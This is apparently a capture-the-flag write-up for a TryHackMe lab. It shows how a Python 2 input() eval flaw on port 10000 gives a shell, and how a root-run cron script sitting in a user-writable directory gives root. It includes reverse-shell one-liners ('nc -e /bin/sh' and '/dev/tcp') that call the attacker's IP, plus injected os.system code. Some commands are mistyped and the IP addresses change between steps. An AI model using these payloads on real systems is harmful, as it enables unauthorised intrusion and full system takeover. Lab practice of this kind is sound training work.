Resourcs : https://tryhackme.com/room/bsidesgtdevelpy

Aim : get user.txt and root.txt .

→Nmap_scan

```
mahfooz@lenovo:~$ sudo nmap -sS  10.10.252.42
Starting Nmap 7.80 ( https://nmap.org ) at 2022-06-27 19:22 IST
Nmap scan report for 10.10.252.42
Host is up (0.67s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
10000/tcp open  snet-sensor-mgmt
```

Since only two ports are open, this hints that we would get some ssh credentials from port 10000 to
use it for ssh .

So alanysing port 10000,

```
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings:
|   GenericLines:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL:
|     Private 0days
|_    Please enther number of exploits to send??:
```

this shows that on connecting to it , it executes some python file.
So , let's connect:

→Nc

```
mahfooz@lenovo:~$ nc 10.10.252.42 10000

        Private 0days

 Please enther number of exploits to send??:
```

u enter any number it will accept, but the interesting this is that it also accepts eval(2 * 2) . This type of flaw was found in python2 input() finction.
On googling it i found a website https://intx0×80.blogspot.com/2017/05/python-input-vulnerability_25.html

```
intx0x80@ubuntu: ~/Desktop
intx0x80@ubuntu:~/Desktop$ echo '__import__("os").system("uname -a") ' |python evil.py
Linux ubuntu 4.4.0-64-generic #85-Ubuntu SMP Mon Feb 20 11:49:39 UTC 2017 i686 i686 i686 GNU/Linux
Enter something 0
intx0x80@ubuntu:~/Desktop$
```

So, i just needed to to put commands to gain a reverse shell under the system parameters.
enter the codes below to get a rev shell.

```
__import__("os").system("nc -e /bin/sh 10.8.82.127 6969")
```

→SHELLS

```
mahfooz@lenovo:~$ nc -nlvp 6969
Listening on 0.0.0.0 6969
Connection received on 10.10.252.42 56720
whoami
king
```

stabilising the shell with

`python -c 'import pty; pty.spawn("/bin/bash")'`

```
python -c 'import pty; pty.spawn("/bin/bash")'
king@ubuntu:~$ ls
```

→file contents :

```
king@ubuntu:~$ ls -la
ls -la
total 324
drwxr-xr-x 4 king king   4096 Aug 27  2019 .
drwxr-xr-x 3 root root   4096 Aug 25  2019 ..
-rw------- 1 root root   2929 Aug 27  2019 .bash_history
-rw-r--r-- 1 king king    220 Aug 25  2019 .bash_logout
-rw-r--r-- 1 king king   3771 Aug 25  2019 .bashrc
drwx------ 2 king king   4096 Aug 25  2019 .cache
-rwxrwxrwx 1 king king 272113 Aug 27  2019 credentials.png
-rwxrwxrwx 1 king king    408 Aug 25  2019 exploit.py
drwxrwxr-x 2 king king   4096 Aug 25  2019 .nano
-rw-rw-r-- 1 king king      5 Jun 27 08:03 .pid
-rw-r--r-- 1 king king    655 Aug 25  2019 .profile
-rw-r--r-- 1 root root     32 Aug 25  2019 root.sh
-rw-rw-r-- 1 king king    139 Aug 25  2019 run.sh
-rw-r--r-- 1 king king      0 Aug 25  2019 .sudo_as_admin_successful
-rw-rw-r-- 1 king king     33 Aug 27  2019 user.txt
-rw-r--r-- 1 root root    183 Aug 25  2019 .wget-hsts
```

On exploring we see that in crontab the root runs root.sh file in king's directory.

On going one directory we see that the home directory is owned by the user 'king' .

Hence we would delete the root.sh file and make one of our own (as write permission is not there in present one)

```
king@ubuntu:~$ cat /etc/crontabs
cat /etc/crontabs
cat: /etc/crontabs: No such file or directory
king@ubuntu:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   king    cd /home/king/ && bash run.sh
*  *    * * *   root    cd /home/king/ && bash root.sh
*  *    * * *   root    cd /root/company && bash run.sh
```

simple : executing the following commands

`ehco "sh -i >& /dev/tcp/10.8.82.127/ 5051 0>&1"`

`>root.sh`

this creates a new root.sh

now wait for one minute.

```
└─$ nc -lvnp 5051
listening on [any] 5051 ...
connect to [10.17.52.250] from (UNKNOWN) [10.10.38.226] 45266
sh: 0: can't access tty; job control turned off
# cd
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
company
root.txt
#
```

GREAT we got the root shell after one minute.

That's all for this challenge !!